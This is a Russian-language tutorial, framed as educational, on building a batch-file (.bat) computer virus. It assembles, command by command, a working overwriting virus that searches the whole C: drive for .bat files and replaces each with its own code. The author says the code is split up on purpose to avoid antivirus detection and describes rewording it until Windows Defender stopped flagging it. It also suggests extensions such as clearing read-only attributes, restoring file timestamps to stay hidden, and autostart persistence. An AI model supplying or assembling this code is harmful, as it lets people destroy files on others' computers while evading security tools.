Bat вирус | Бат вирус. Команды
! Внимание. Вся приведенная информация в статье приводится ИСКЛЮЧИТЕЛЬНО в образовательных целях. Вся информация взята из открытых источников, в том числе из справки Майкрософт !
Что такое BAT вирус (БАТ вирус)
Прежде — .bat это расширение для текстовых файлов с набором команд сценариев (скрипт) командного интерпретатора. В переводе с английского — batch file означает пакетный файл. Имеет синтаксис наиболее близок к набору команд древней ОС MS DOS (ныне — подсистема ОС Windows). Используется для автоматизации некоторых процессов, например, запуск программ с определенными параметрами.
БАТ, как скриптовый язык программирования, является достаточно примитивным и значительно уступает даже таким языкам сценариев, как VBS (Visual Basic Script). Но пакетные файлы позволяют выполнять достаточно большой объем задач, чтобы создавать на них различных зловредов. Например, можно в пакетном файле прописать команды для удаления системных файлов, что может привести к нестабильности работы системы. Подобное действие — удаление чего-либо, может выполниться и вручную. Скрипт позволяет это автоматизировать.
Важное уточнение. В батниках можно реализовать различные типы зловредов. Это могут быть программы-шутники, которые будут «подшучивать» над пользователем, например, прятать курсор мышки или выполнять перезагрузку компьютера. Такие скрипты будут скорее относиться к категории троянов — программ, выполняющие скрытые, часто небезопасные действия.
Цель же этой статьи — скрипты, которые будут относиться к категории компьютерных вирусов. То есть программы, которые будут находить определенные типы файлов и заражать их. По способу заражения наш скрипт будет соответствовать опасным нерезидентным вирусам. Наша программа будет пролистать все папки, начиная с корня диска С:\\, производя поиск других батников, замещать собой код (текст) атакуемого файла. Нерезидентный означает, что наш зловред будет получать управление только при непосредственном запуске, без возможности находиться постоянно в памяти компьютера.
Также обрати внимание — далее скрипт БАТ вируса будет приведен по частям. Сделано это по причине того, что все директивы, написанные вместе могут детектироваться как вредоносная программа и блокироваться антивирусами или встроенным защитником Windows. Приведенной информации вполне хватит, чтобы собрать своего «зверя».
Команды BAT вируса
@echo off
Это наша первая команда, которая будет «возглавлять» наш код. Она означает, что при чтении командным интерпретатором нашего батника не будет выводиться на экран его содержимое. Без этой команды на экране компьютера появлялось бы все, что находится внутри сценария. Даже то, что не должно выводиться.
set filet="*.bat"
Команда set объявляет переменную filet. В этой переменной будет маска для поиска, в нашем случае это файлы с расширением .bat. Можно обойтись и без использовании переменной, но используем эту строчку.
cd C:\\
Команда cd меняет текущий каталог. По умолчанию — текущий каталог тот, в котором находится наш батник. Если мы не используем эту команду, то наш БАТ вирус будет искать «цели» для атаки начиная с текущего каталога. Для того, чтобы охватить весь компьютер, мы указываем нашему сценарию, что нужно начинать с корня диска С:\\.
Поиск файлов
Находить «цели» мы будем с помощью следующего кода:
FOR /r %%a IN (%filet%) DO ( )
На первый взгляд, это непонятная конструкция, но на самом деле все просто.
Директива FOR указывает нашему сценарию многократное выполнение команд. В нашем случае это поиск всех «целей» в каталоге, после работы с ними переходить к следующему каталогу.
Далее мы вместо терминов «директива» или «команда» относительно FOR будем использовать термин «конструкция», так как будет подразумеваться не только команда FOR, но и ее параметры.
Параметр /r означает, что программа «работает» не только с текущим каталогом, но и со всеми подкаталогами.
%%a
Это переменная нашей конструкции FOR. Вернее, здесь переменная одиночная буква (a). Знак процента (%) указывает, что это не просто буква, а переменная. Двойной знак процента (%%) необходим при работе в конструкции FOR. Также особенность использования переменных в конструкции FOR — использование только одиночных букв.
IN (%filet%)
Здесь мы указываем на параметр конструкции для поиска «целей». Ранее мы объявляли переменную filet, в которой находится значение «.bat». Знак процента (%) с обеих сторон переменной это требования работы с переменными в батниках. Можно было сократить код и обойтись без переменных, но это один из вариантов и в нем есть свои плюсы (отладка, например).
DO ()
Здесь, в круглых скобках, прописывается код, который нужно выполнить.
Изучение FOR
Чтобы лучше понять, что делается в нашей конструкции FOR, немного отойдем от темы. Изучим работу этой команды. Для этого используем еще одну директиву:
echo
Эта команда будет использоваться для вывода на экран сообщений. Ранее мы запрещали командному интерпретатору выводить на экран то, что тот будет читать в нашем скрипте. Директива echo будет указывать, что можно показывать.
FOR /r %%a IN (*.bat) DO ( echo %%a )
Этот скрипт покажет все файлы с расширением .bat в том каталоге, в котором находится наш батник. Заметь — мы не использовали переменной filet. Вместо этого мы напрямую указали ее параметр.
Но после запуска наш скрипт мерцнет черным окошком DOSа и погаснет. Чтобы увидеть результат работы программы, добавим в конце команду:
pause
Эта директива останавливает выполнения сценария и будет ожидать нажатие кнопок на клавиатуре.
Если мы перед нашей конструкцией поставим директиву cd C:\\, например, то наш сценарий начнет искать все с расширением .bat, начиная с корня диска C:\\, то есть по всему ПК.
Ну и еще немного исследования. Вот несколько измененный сценарий:
FOR /r %%a IN (*.bat) DO echo %%a
Тот же сценарий, только без круглых скобок. Заметь — директива echo указывается на одной строке. DOS команды очень требовательны — командный интерпретатор внимательно отслеживает регистры переменных (большие или маленькие символы), пробелы и строчки.
Заражение батников
В нашем случае используем такой код:
copy %0 %%a > nul
Директива copy проводит копирование. Этой командой наш BAT вирус копирует себя вместо той «цели», что нашел. Причем под тем же именем.
%0
Этот символ (знак процента и ноль, без пробела) означает ссылку на самого себя.
%%a
Узнал? Это наша переменная конструкции FOR, в которой находится на текущий момент путь до заражаемого файла.
> nul
Этот код скрывает результат выполнения команды copy.
Некоторые замечания по БАТ вирусу
Вот в принципе и все. Этого сценария хватает для того, чтобы найти на заражаемом компьютере все файлы нужного типа и выполнить заражение. По сути перезаписать их своим содержимым, без возможности запуска оригинального кода. Но это можно считать хоть и самым примитивным, но все же механизмом заражения.
В данном примере мы не выполняли других функций, кроме как скрытия вывода на экран результатов выполнения директив сценария, изменения текущего каталога на корень диска С:\\, поиска «целей»по маске и перезапись содержимого. Мы могли, например, менять атрибуты заражаемой «цели», чтобы иметь возможность перезаписи файлов с атрибутами «только для чтения». Или мы могли бы запоминать дату и время создания атакуемых файлов и восстанавливать их после заражения, что помогло бы скрываться в системе. Также в наш зловред мог бы прописывать себя в автозагрузку и запускаться при каждом включении компьютера. И так далее, далее, далее. Но цель не в создании «супер» BAT вируса, а только демонстрация основных моментов.
Указанный выше зловред тестировался под ОС Windows 10. В целом, набор команд актуален для всех версий Windows (но это не точно).
При разработки кода возникла интересная ситуация — одна из версий батника была опознана встроенным защитником как вредоносная программа. Все дело в том, что некоторые наборы директив не используются обычными пользователями и характерны для вредоносных программ. Опасный скрипт (по версии встроенного защитника), в конструкции FOR, после слова DO содержал директиву copy (без круглых скобок). Такой сокращенный вариант показался встроенному защитнику опасным. Но после того, как мы несколько изменили код (после слова DO добавили круглые скобки), встроенный защитник перестал ругаться, хоть логика нашего БАТ вируса осталась прежней.